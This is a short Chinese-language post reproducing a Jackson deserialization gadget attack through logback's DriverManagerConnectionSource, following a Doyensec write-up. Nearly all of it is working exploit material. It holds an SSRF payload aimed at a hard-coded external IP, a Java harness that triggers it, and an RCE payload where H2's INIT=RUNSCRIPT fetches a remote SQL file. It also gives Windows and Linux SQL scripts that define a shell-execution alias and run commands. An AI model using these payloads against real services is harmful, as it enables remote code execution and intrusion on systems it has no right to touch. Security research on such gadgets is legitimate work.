文章参考：https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

环境搭建

引入jar包：

ssrf payload：

"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://139.196.103.119:9999/test\"}]"

Main方法：

import java.io.IOException;

import com.fasterxml.jackson.databind.ObjectMapper;

import com.fasterxml.jackson.databind.SerializationFeature;

public class Test {

public static void main(String[] args) throws IOException {

String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\","

+ " {\"url\":\"jdbc:h2:tcp://139.196.103.119:9999/test\"}]";

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

// mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

Object obj = mapper.readValue(payload, java.lang.Object.class);

mapper.writeValueAsString(obj);

}

}

rce payload：

"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://www.a0xpg.com/inject_win.sql'\"}]";

inject_win.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

String[] command = {"cmd", "/c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

return s.hasNext() ? s.next() : ""; }

$$;

CALL SHELLEXEC('calc')

inject_linux.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

String[] command = {"bash", "-c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

return s.hasNext() ? s.next() : ""; }

$$;

CALL SHELLEXEC('id > exploited.txt')